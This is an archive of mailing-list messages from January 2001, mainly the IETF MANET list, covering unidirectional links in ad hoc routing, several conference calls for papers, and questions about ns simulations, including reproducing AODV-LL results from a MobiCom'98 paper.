[129.83.20.100]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id NAA14564 for ; Thu, 4 Jan 2001 13:50:35 -0500 (EST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id NAA20948; Thu, 4 Jan 2001 13:50:27 -0500 (EST) Received: from MAILHUB1 (mailhub1.mitre.org [129.83.20.31]) by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id NAA07225; Thu, 4 Jan 2001 13:50:26 -0500 (EST) Received: from kb.mitre.org (129.83.36.141) by mailhub1.mitre.org with SMTP id 5247373; Thu, 04 Jan 2001 13:49:17 -0500 Message-ID: <3A54EF29.1E7F61B8@mitre.org> Date: Thu, 04 Jan 2001 13:46:16 -0800 From: Kenneth Brayer Reply-To: kb@mitre.org Organization: The MITRE Corporation X-Mailer: Mozilla 4.75C-20000818M (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: Nitin H Vaidya CC: manet@itd.nrl.navy.mil Subject: Re: uni-directional links References: <200101041742.f04HggY17333@vinca.cs.tamu.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Nitin I agree. Ken Nitin H Vaidya wrote: > > >> From kb@mitre.org Thu Jan 4 11:21:37 2001 > >> > >> For the military application, which is my area of interest, it is very > >> common (actually highly likely) that links will be unidirectional. The > >> fact that A can hear B on an HF or UHF radio circuit does not mean that > >> B can hear A on that circuit. So a path from A to B may be reversed by a > >> path from B to C and one from C to A. Thus for military users protocols > >> that work unidirectional are needed and those that work uni- and also > >> bidirectional are considered to have extra value. Bidirectional only may > >> be useless. > > I would agree with that ... when links are highly likley to be > unidirectional, one may not have much choice but to somehow use > them. I guess what may be best is a protocol that works with > both uni- and bi-directional links, but uses bi-directional > links preferentially. > > - nitin > > >> > >> Kenneth Brayer > >> The MITRE Corporation/ > >> Air Force Electronic Systems Center > >> Bedford, MA > >> > >> Nitin H Vaidya wrote: > >> > > >> > To add to Philippe's comments below, it may be hard to justify > >> > using unidirectional links except in some special circumstances. > >> > > >> > Using unidirectional links could be inefficient. Consider the > >> > network shown below: > >> > > >> > A -----> B ------ C > >> > > >> > (A,B) link is unidirectional and (B,C) link is bidirectional. > >> > In this case, it may be difficult for node A to defer to an on-going > >> > transmission from B to C (since A may not hear B due to unidirectional > >> > nature of AB link). Thus, A could try transmitting a packet to B, > >> > while B is busy forwarding the previous packet from A (or busy with > >> > some other transmission). > >> > So, there is a good probability that packets transmitted by A > >> > would not be received by B. > >> > > >> > Also, using unidirectional links can aggravate unfairness in > >> > accessing the wireless channel. Again consider the network above. > >> > > >> > Let us assume that both nodes A and C want to send packets > >> > to node B. Assume a MAC protocol similar to 802.11. > >> > In this case, when B is receiving packets from A, C can/will > >> > defer to that transmission, allowing the transmission to > >> > complete successfully. On the other hand, transmission from > >> > C to B will often fail due to interference from A (node A does > >> > not know to defer to the C->B transmission). > >> > This could result in a very unfair allocation of bandwidth to > >> > nodes A and C. > >> > > >> > Such unfairness can, in fact, occur even when we only use > >> > bi-directional links. However, using unidirectional links > >> > makes the problem worse. > >> > > >> > An issue closely related to unfairness is congestion control. > >> > When transmitting on unidirectional links, such as link (A,B), > >> > it might be hard to take into account the level of congestion > >> > at node B, making congestion control at the MAC layer less > >> > effective. > >> > > >> > I guess, in special cases, using unidirectional links > >> > may make sense, particularly when no other route is available > >> > (or, as in case of dedicated link, it may be known that the > >> > unidirectional link does not interfere with other transmissions, > >> > so issues of fairness/congestion may go away). > >> > > >> > As has been pointed out though, protocols that rely on bidirectional > >> > links should be provided some mechanism to determine which links are > >> > bidirectional. > >> > > >> > Cheerio. > >> > > >> > - nitin > >> > > >> > >> From owner-manet@itd.nrl.navy.mil Thu Jan 4 09:19:43 2001 > >> > >> > >> > >> Happy millenium for everybody! > >> > >> > >> > >> It is not clear whether the question is: > >> > >> > >> > >> Which protocols function correctly with bi_D links but may not function > >> > >> correctly in presence of uni_D links? > >> > >> > >> > >> for example, AODV, DSR, if some amendments are not introduced. > >> > >> > >> > >> or: > >> > >> > >> > >> Which protocols function correctly in presence of uni_D links but route > >> > >> only on bi_D links? > >> > >> > >> > >> for example FSR, OLSR, TBRPF... > >> > >> > >> > >> Added to this issue there is also the issue about the link layer which is > >> > >> in general bi-D link oriented like in IEEE802.11, Hiperlan, Bluetooth. In > >> > >> this case routing on bi-D links is mandatory. I don't know uni_D link > >> > >> oriented MAC but in this case the link control is either unreliable or very > >> > >> complicated. > >> > >> I think DSR has something very complicated in case of uni_D, and some > >> > >> feature of route caching would probably need to be disabled. In presence of > >> > >> some uni_D links together with a bi_D MAC there are also serious sources of > >> > >> flaws. > >> > >> > >> > >> Philippe > >> > >> > >> > >> From owner-mmnet@itd.nrl.navy.mil Fri Jan 5 15:52:38 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA22218 for ; Fri, 5 Jan 2001 15:52:37 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id OAA13200 for mmnet-outgoing; Fri, 5 Jan 2001 14:06:37 -0500 (EST) Received: from erasmus.terena.nl (erasmus.terena.nl [192.87.30.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id OAA13195 for ; Fri, 5 Jan 2001 14:06:35 -0500 (EST) Received: (from mail@localhost) by erasmus.terena.nl (8.9.3/8.9.3/TERENA) id MAA26896 for tnc2001-announce-ptr; Fri, 5 Jan 2001 12:41:54 +0100 X-Authentication-Warning: erasmus.terena.nl: mail set sender to tnc2001-announce-request@terena.nl using -f Received: from mta01-svc.ntlworld.com (mta01-svc.ntlworld.com [62.253.162.41]) by erasmus.terena.nl (8.9.3/8.9.3/TERENA) with ESMTP id MAA26892 for ; Fri, 5 Jan 2001 12:41:54 +0100 Received: from nicola-laptop ([213.105.124.240]) by mta01-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP id <20010105114150.BWJN6427.mta01-svc.ntlworld.com@nicola-laptop> for ; Fri, 5 Jan 2001 11:41:50 +0000 Message-Id: <4.2.0.58.20010105123559.0128f400@popper.terena.nl> X-Sender: nicola@popper.terena.nl X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Fri, 05 Jan 2001 12:38:30 +0100 To: tnc2001-announce@terena.nl From: Nicola Warren Subject: TERENA Issue Call for Short Papers on Recent Results Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Reply-To: Nicola Warren Sender: owner-mmnet@itd.nrl.navy.mil Precedence: bulk CALL FOR SHORT PAPERS ON RECENT RESULTS TERENA Networking Conference 2001 "Highlighting Advanced Networks and Services" 14-17 May 2001 http://www.terena/nl/tnc2001/ TERENA is pleased to issue a "Call for Short Papers on Recent Results" to be presented at the TERENA Networking Conference 2001, which will be held in Antalya, Turkey from 14-17 May 2001. The "Call for Short Papers on Recent Results" is listed below and is also available from the conference web page at: http://www.terena.nl/tnc2001/cfsp.html Please feel free to copy this message to others who you think may be interested in submitting a paper for the conference. With best regards, The TERENA Networking Conference 2001 Programme Committee ******************************************************************* CALL FOR SHORT PAPERS ON RECENT RESULTS TERENA Networking Conference 2001 "Highlighting Advanced Networks and Services" 14-17 May 2001, Antalya, Turkey http://www.terena.nl/tnc2001/ Submission Deadline: 16 February 2001 ******************************************************************* The annual TERENA Networking Conferences are prominent events offering an opportunity to present and discuss technical and strategic issues related to the provision of networks and services, and the corresponding research and development activities, within the research and education community. Bringing together leading figures from the research networking community in Europe and worldwide, they provide a unique opportunity for professionals from research, industry, academia and related government sectors to learn about the latest developments and plans for the future. Further information about the conference is available from: http://www.terena.nl/tnc2001/ Short Papers on Recent Results ============================== The conference programme will feature a "recent results" session allocated explicitly to presentations that reflect up-to-date information about work-in-progress, ongoing research and recent results. This call for short papers is for participants who were not able to submit their material before the deadline for full papers due to ongoing research projects and for those who wish to announce new results. With less formal papers and presentations, the "recent result" session provides a forum for debate and exchange of ideas, and an opportunity to ask questions and give opinions on topical subjects in research networking. Short papers are invited on all topics covered by the conference programme. A list of the main subject areas for the conference is provided in the "First Announcement", which is available from: http://www.terena.nl/conf/tnc2001/announce.html Please do not hesitate to raise uncommon views or any contrasting opinions to your own which may prompt interesting debate. The papers selected by the Programme Committee to be presented at the conference will be allocated approximately 15 - 20 minutes within the session. It is envisaged that delivery of the presentation will take approximately 10 minutes, leaving 5-10 minutes for lively discussion on the issues raised. The Programme Committee will review short paper submissions and those selected for presentation in the "recent results" session will be included in the Book of Abstracts and on-line Conference Proceedings. Submission Instructions ======================= Short paper submissions should not exceed 1000 words (or two A4 sides) in length, and should outline the main theme, results and opinions of the proposed presentation. All papers must be written in English and submitted electronically to TERENA by 16 February 2001. Before submitting, please take care to proof read your paper to check for typing errors and spelling mistakes. If possible, your paper should also be proof read by a native English speaker to check it for clarity. All paper submissions must include the paper title; titles (Mr, Ms, Dr etc.) and full names of all author(s); organisational affiliation; and contact postal address, e-mail address, telephone and fax numbers. If more than one author is listed, please identify one person as the main contact for correspondence. All papers must be submitted in electronic format following the instructions listed below. The preferred methods of submission are PDF or HTML files submitted via FTP or e-mail; however, plain ASCII text files will also be accepted. HTML Documents -------------- Please use only elementary HTML commands and minimise the number of files (one main HTML file, plus essential figures in a general format such as GIF or JPEG referenced by URLs). If your paper submission contains more than one file, the main HTML file should be named index.html and any supplementary figures should be named fig1.gif, fig2.jpeg, fig3.gif etc. If you are submitting multiple files, please zip all the files together into a single archive file before uploading them to the FTP server or sending them by e-mail. FTP submissions should be sent by anonymous FTP to into the directory "pub/tnc2001/submit". Please note that files deposited in this directory can only be written once and cannot be deleted afterwards. If after submitting your files you wish to send an update, please follow the naming convention outlined above, but name your files index2.html, index3.html, etc., so that your most recent submission can be easily identified. Also, to ensure that we notice the update, please send an e-mail to . PDF and ASCII Text Documents ---------------------------- PDF files and plain ASCII text documents can be submitted by FTP or e-mail. E-mail submissions should be sent to . FTP submissions should be sent by anonymous FTP to into the directory "pub/tnc2001/submit". Conference Publications ======================= Authors of accepted papers must supply a speaker profile and an abstract for publication in the Book of Abstracts and their final paper for publication in the on-line Conference Proceedings by 23 March 2001. Important Dates =============== 16 February 2001: Short paper submissions due 5 March 2001: Notification of acceptance to authors 23 March 2001: Speaker profiles, abstracts and final papers due Relevant Contacts ================= The TERENA Networking Conference 2001 is being organised by TERENA, the Trans-European Research and Education Networking Association, and will be hosted by ULAKBIM, the Turkish Academic Network and Information Center. Programme Committee Chairman: Stefano Trumpy Programme Committee Secretary: Carol de Groot Conference Organisation: Bert van Pinxteren General Information =================== For further information, please contact: TERENA Secretariat Tel: +31 20 530 4488 Singel 468 D Fax: +31 20 530 4499 1017 AW Amsterdam E-mail: tnc-2001@terena.nl The Netherlands WWW: http://www.terena.nl/tnc2001/ ******************************************************************* From owner-manet@itd.nrl.navy.mil Fri Jan 5 21:44:00 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA28034 for ; Fri, 5 Jan 2001 21:43:59 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA20010 for manet-outgoing; Fri, 5 Jan 2001 20:13:40 -0500 (EST) Received: from herbert.eecs.wsu.edu (herbert.eecs.wsu.edu [199.237.73.70]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA20003 for ; Fri, 5 Jan 2001 20:13:38 -0500 (EST) Received: from carmel.eecs.wsu.edu ([199.237.72.81]) by herbert.eecs.wsu.edu (Post.Office MTA v3.5.3 release 223 ID# 0-68625U3000L300S0V35) with ESMTP id edu for ; Fri, 5 Jan 2001 17:13:09 -0800 Received: (from dawn@localhost) by carmel.eecs.wsu.edu (8.9.3/) id RAA06731 for manet@itd.nrl.navy.mil; Fri, 5 Jan 2001 17:13:39 -0800 From: "DAWN Research Lab" Message-Id: <200101060113.RAA06731@carmel.eecs.wsu.edu> Subject: Deadline Extended: ACM MobiCom 2001 To: manet@itd.nrl.navy.mil Date: Fri, 5 Jan 2001 17:13:38 -0800 (PST) X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit ************************************************************************** DEADLINE EXTENDED FOR ACM MobiCom 2001 SUBMISSIONS The NEW (and FINAL deadline) is Monday, Jan 22, 2001, 11.59 PM US Eastern ST ************************************************************************** For complete information about the conference and for submission instructions, please visit: http://www.research.ibm.com/mobicom2001/ We apologize if you received multiple copies of this Call for Papers. Please feel free to distribute it to those who might be interested. Very truly yours, ACM SIGMOBILE MobiCom 2001 Organizing Committee *********************************************************************** *** ACM MobiCom 2001 *** The Seventh Annual International Conference on Mobile Computing and Networking July 16-21, Rome, Italy Sponsored by ACM SIGMOBILE http://www.research.ibm.com/mobicom2001/ http://www.acm.org/sigmobile/ Submission Deadline (NEW): January 22, 2001 *********************************************************************** From owner-manet@itd.nrl.navy.mil Sat Jan 6 05:58:54 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA14773 for ; Sat, 6 Jan 2001 05:58:54 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA23927 for manet-outgoing; Sat, 6 Jan 2001 04:22:22 -0500 (EST) Received: from femail1.rdc1.on.home.com (femail1.rdc1.on.home.com [24.2.9.88]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA23922 for ; Sat, 6 Jan 2001 04:22:21 -0500 (EST) Received: from cr234170a ([24.43.160.53]) by femail1.rdc1.on.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010106092136.QZQS20641.femail1.rdc1.on.home.com@cr234170a> for ; Sat, 6 Jan 2001 01:21:36 -0800 From: "Karthik Ramakrishnan" To: Subject: DREAM Implementation Date: Sat, 6 Jan 2001 04:25:19 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit HI, Does anyone know of/have an implemtation of the DREAM routing protocol for ad hoc networks? Particularly on the NS platform.... Would much appreciate any feedback. Thanx Karthik. From owner-manet@itd.nrl.navy.mil Sun Jan 7 04:40:07 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA07241 for ; Sun, 7 Jan 2001 04:40:07 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA03457 for manet-outgoing; Sun, 7 Jan 2001 02:44:03 -0500 (EST) Received: from nwcst314.netaddress.usa.net (nwcst314.netaddress.usa.net [204.68.23.59]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id CAA03452 for ; Sun, 7 Jan 2001 02:44:02 -0500 (EST) Received: (qmail 951 invoked by uid 60001); 7 Jan 2001 07:44:00 -0000 Message-ID: <20010107074400.950.qmail@nwcst314.netaddress.usa.net> Received: from 204.68.23.59 by nwcst314 for [203.197.150.68] via web-mailer(34FM.0700.15.02) on Sun Jan 7 07:44:00 GMT 2001 Date: 7 Jan 2001 11:44:00 SMT From: mohammed shifaz To: manet@itd.nrl.navy.mil Subject: seminar X-Mailer: USANET web-mailer (34FM.0700.15.02) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id CAA03453 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit From Mohammed shifaz 4'th sem MCA CUSAT KERALA INDIA I am willing to take a seminar on Mobile Adhoc networks as a part of our curriculam.Can you tell me where I can get materials regarding MANet. Also in what are the things I should stress in my seminar. Can you brief me about how to form a MANet for an organisation. Thanking You Mohammed Shifaz. ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 From owner-manet@itd.nrl.navy.mil Sun Jan 7 05:21:31 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA07366 for ; Sun, 7 Jan 2001 05:21:31 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id DAA03950 for manet-outgoing; Sun, 7 Jan 2001 03:54:03 -0500 (EST) Received: from csunb0.leeds.ac.uk (csunb0.leeds.ac.uk [129.11.144.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id DAA03945 for ; Sun, 7 Jan 2001 03:54:01 -0500 (EST) Received: (from daemon@localhost) by csunb0.leeds.ac.uk (8.6.12/8.6.12) id IAA14773; Sun, 7 Jan 2001 08:45:56 GMT Received: from mail.nour.net.sa ([212.12.160.9]) by csunb0.leeds.ac.uk (8.6.12/8.6.12) with ESMTP id IAA14767 for ; Sun, 7 Jan 2001 08:45:53 GMT Received: from serv1.ruh-ct.gotevot.edu.sa ([212.12.160.215]) by mail.nour.net.sa (Netscape Messaging Server 4.15) with ESMTP id G6S6JI01.51Y; Sun, 7 Jan 2001 10:09:18 +0300 Received: from NT2 ([10.103.20.44]) by serv1.ruh-ct.gotevot.edu.sa with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id YVS9NXWY; Sun, 7 Jan 2001 10:12:04 +0300 Message-ID: <04ee01c07877$bdd5ca40$2c14670a@rct.edu.sa> From: "AbdulRahman Aljadhai" To: , , , , , , , , , , , , , , , Cc: Subject: CFP: SCI2001 Wireless/Mobile Networks Date: Sun, 7 Jan 2001 10:01:44 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1256" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit (My apology if you receive this message multiple times) CALL FOR PAPERS The 5th World Multi-Conference on SYSTEMICS, CYBERNETICS AND INFORMATICS (SCI 2001) Invited Session: Wireless/Mobile Networks July 22-25, 2001 Orlando, Florida (USA), Sheraton World Resort The purpose of this call of papers is to invite researchers and practitioners to participate in the invited session Wireless/Mobile Networks. This session is being organized as part of the SCI 2001 conference. For information about SCI 2001 check http://www.iiis.org/sci/ SCOPE: The primary focus of the invited session is on new and original research results in the area of wireless and mobile networking. We invite you to submit papers that address novel, challenging, and innovative results. The topics include, but are not limited to: Wireless/Mobile Networks design Ad hoc networks routing Multicast in mobile networks QoS in wireless networks Wireless networks security SUBMISSIONS: Extended abstracts or paper drafts should be sent taking into account the following format: 1) Major theme of the paper, related to the major themes given above, 2) Paper title, 3) Extended abstract of 500 to 1500 words and/or paper drafts of 2000 to 5000 words, in English, and 4) Name of contact person, address, telephone number, fax number and e-mail address. Extended abstracts or paper drafts should be sent to asj@acm.org. Only electronic submissions are accepted. IMPORTANT DATES: Abstract/Paper submission deadline : January 24,2000 Notification of acceptance: February 21,2001 Camera ready papers due : April 13, 2001 PAPERS REVIEWING AND PUBLICATION Submitted papers will be checked. Accepted papers, which should not exceed six single- spaced typed pages, will be published by means of paper and electronic proceedings. Best papers will be selected for awards and recommended for journal publications. Multiple author books will be published by IIIS, based on the best-invited sessions, the best focus symposia or the best mini-conferences. CONTACTS: Dr. AbdulRahman Aljadhai (Session organizer) Email: asj@acm.org Phone: +966-5-442-0530 (Saudi Arabia) Riyadh College of Technology PO Box 88600, Riyadh 11672 Saudi Arabia From owner-manet@itd.nrl.navy.mil Sun Jan 7 11:59:33 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA08857 for ; Sun, 7 Jan 2001 11:59:33 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA06472 for manet-outgoing; Sun, 7 Jan 2001 10:03:15 -0500 (EST) Received: from web9105.mail.yahoo.com (web9105.mail.yahoo.com [216.136.128.242]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id KAA06466 for ; Sun, 7 Jan 2001 10:03:13 -0500 (EST) Message-ID: <20010107150314.86859.qmail@web9105.mail.yahoo.com> Received: from [192.11.223.102] by web9105.mail.yahoo.com; Sun, 07 Jan 2001 07:03:14 PST Date: Sun, 7 Jan 2001 07:03:14 -0800 (PST) From: hridesh rajan Subject: Re: seminar To: mohammed shifaz Cc: manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello mohammed shifaz, --- mohammed shifaz wrote: > From > Mohammed shifaz > 4'th sem MCA > CUSAT > KERALA > INDIA > > I am willing to take a seminar on Mobile Adhoc > networks as a part of our > curriculam.Can you tell me where I can get materials > regarding MANet. You can get information regarding MANETS from these books: Wireless ATM and Ad-Hoc Networks by C.-K Toh 1st edition (January 15, 1997) Kluwer Academic Pub; ISBN: 079239822X Ad Hoc Networking by Charles Perkins (Editor) 1st edition (December 15, 2000) Addison-Wesley Pub Co; ISBN: 0201309769 You can also get information from the web page of IETF's MANET working group. > Also in what are the things I should stress in my > seminar. You can start with where and how Adhoc Networking is different from the traditional Fixed networking. After that you can discuss various applications of it. You can then deal with how some of these problems are solved using new algorithms for MANETS(Use documents of http://www.ietf.org. You can also point towards some of the works going on in this area like GRID,DREAM,LAR. A nice compendium is kept at the URL http://lrcwww.epfl.ch/~agarwal/epfl/ Hope u have a nice seminar.. ===== Hridesh Rajan Member of Technical Staff, Office: 91 80 527 1771/72 X 2582 Lucent Technologies, Fax: 91 80 527 1777 Golf View Campus, Email:hridesh@lucent.com Wind tunnel Road, hrideshrajan@yahoo.com Banglore-17, India. URL:http://hridesh.homepage.com/ __________________________________________________ Do You Yahoo!? Yahoo! Photos - Share your holiday photos online! http://photos.yahoo.com/ From owner-manet@itd.nrl.navy.mil Tue Jan 9 11:41:17 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15887 for ; Tue, 9 Jan 2001 11:41:17 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA17374 for manet-outgoing; Tue, 9 Jan 2001 09:29:12 -0500 (EST) Received: from imc21.ex.nus.edu.sg (imc21.ex.nus.edu.sg [137.132.14.62]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id JAA17366 for ; Tue, 9 Jan 2001 09:29:08 -0500 (EST) Received: by imc21.ex.nus.edu.sg with Internet Mail Service (5.5.2650.21) id ; Tue, 9 Jan 2001 22:29:07 +0800 Message-ID: <30A14FB41CC5D311854D00508B5EEF02083DC981@exs23.ex.nus.edu.sg> From: Wang Qiang To: manet@itd.nrl.navy.mil Subject: MobiCom'98 Paper results Date: Tue, 9 Jan 2001 22:27:54 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello ns users, I have a question regarding the simulation results presented in CMU's MobiCom'98 paper "A performance comparison of multi-hop wireless ad hoc network routing protocols". I'm trying run the simulation for DSDV-SQ, DSR, AODV-LL and TORA as mentioned in the paper and see if the results could be reproduced. I'm using ns-allinone-2.1b7 package installed on RedHat Linux 7.0. So far the results for DSDV-SQ and DSR are close to those presented in the paper. However, I CAN'T get the same output for AODV-LL protocol! I set the following constants as listed in the paper: #define AODV_LINK_LAYER_DETECTION #define MY_ROUTE_TIMEOUT 600 #define ACTIVE_ROUTE_TIMEOUT 300 #define REV_ROUTE_LIFE 3 #define BCAST_ID_SAVE 3 #define NETWORK_DIAMETER 50 #define NODE_TRAVERSAL_TIME 0.04 #define HELLO_INTERVAL 1 #define ALLOWED_HELLO_LOSS 3 #define BAD_LINK_LIFETIME 3 #define RREP_WAIT_TIME 6.0 #define LOCAL_REPAIR_WAIT_TIME 0.15 #define MAX_RREQ_TIMEOUT 10.0 #define TTL_START 1 #define TTL_THRESHOLD 7 #define TTL_INCREMENT 2 #define MaxHelloInterval ( 1.25 * HELLO_INTERVAL ) #define MinHelloInterval ( 0.75 * HELLO_INTERVAL ) But after a few runs using the same scenarios files and movement pattern files as used for DSDV-SQ and DSR, at 20m/s max. speed, 0s pause time and 20 CBR sources, the AODV_LL packet delivery ratio value is around 97.2%, BUT the routing overhead value insists to be around 55489.5, which is an order of magnitude less than the value of over 120,000 presented in the paper!!! Even after I changed MY_ROUTE_TIMEOUT to 60 and ACTIVE_ROUTE_TIMEOUT to 50, the outcome remain the same! Could someone please give me some help? How should I set those parameters to produce the same settings as in the MobiCom'98 paper? Your help is sincerely appreciated! Wang Qiang From owner-manet@itd.nrl.navy.mil Tue Jan 9 14:31:47 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20154 for ; Tue, 9 Jan 2001 14:31:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA25757 for manet-outgoing; Tue, 9 Jan 2001 12:31:56 -0500 (EST) Received: from hotmail.com (f274.law8.hotmail.com [216.33.240.149]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA25748 for ; Tue, 9 Jan 2001 12:31:54 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 9 Jan 2001 09:31:54 -0800 Received: from 193.227.10.221 by lw8fd.law8.hotmail.msn.com with HTTP; Tue, 09 Jan 2001 17:31:54 GMT X-Originating-IP: [193.227.10.221] Reply-To: asobeih@ieee.org From: "Ahmed SOBEIH" To: manet@itd.nrl.navy.mil Subject: Network Simulator Date: Tue, 09 Jan 2001 17:31:54 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 09 Jan 2001 17:31:54.0437 (UTC) FILETIME=[0F0E8F50:01C07A62] Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello Everybody, I am doing an MSc project conerning reliable multicast over ad hoc networks. I am wondering if there is a suitable ad hoc network simulator on which I can build my own protocol so that I do not have to write it all from scratch. Thank you very much in advance. Yours, Ahmed SOBEIH _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. From owner-manet@itd.nrl.navy.mil Tue Jan 9 18:00:17 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA22634 for ; Tue, 9 Jan 2001 18:00:16 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id QAA03208 for manet-outgoing; Tue, 9 Jan 2001 16:10:32 -0500 (EST) Received: from babbage.ececs.uc.edu (mail.ececs.uc.edu [129.137.8.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id QAA03203 for ; Tue, 9 Jan 2001 16:10:30 -0500 (EST) Received: from temporary (wayside.ececs.uc.edu [129.137.9.118]) by babbage.ececs.uc.edu (8.10.2/8.10.2) with SMTP id f09LAFX21176; Tue, 9 Jan 2001 16:10:15 -0500 (EST) From: "Samir R. Das" To: "Wang Qiang" , Subject: RE: MobiCom'98 Paper results Date: Tue, 9 Jan 2001 16:10:03 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <30A14FB41CC5D311854D00508B5EEF02083DC981@exs23.ex.nus.edu.sg> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello Wang, The simulation model of AODV-LL that you are using is not the same as the one used by the CMU group for their MobiCom98 work. The model implementation has been improved much over the implementation they used. Also the protocol specs changed and reflect a later version of the protocol. So I am not surprised that you are seeing much less routing overhead. This probably is due to a better pacing of route discoveries and use of expanding ring search. Samir Das > -----Original Message----- > From: owner-manet@itd.nrl.navy.mil > [mailto:owner-manet@itd.nrl.navy.mil]On Behalf Of Wang Qiang > Sent: Tuesday, January 09, 2001 9:28 AM > To: manet@itd.nrl.navy.mil > Subject: MobiCom'98 Paper results > > > Hello ns users, > > I have a question regarding the simulation results > presented in CMU's > MobiCom'98 paper "A performance comparison of multi-hop > wireless ad hoc > network routing protocols". I'm trying run the simulation > for DSDV-SQ, DSR, > AODV-LL and TORA as mentioned in the paper and see if the > results could be > reproduced. > I'm using ns-allinone-2.1b7 package installed on RedHat > Linux 7.0. So far > the results for DSDV-SQ and DSR are close to those > presented in the paper. > However, I CAN'T get the same output for AODV-LL protocol! > I set the > following constants as listed in the paper: > > #define AODV_LINK_LAYER_DETECTION > 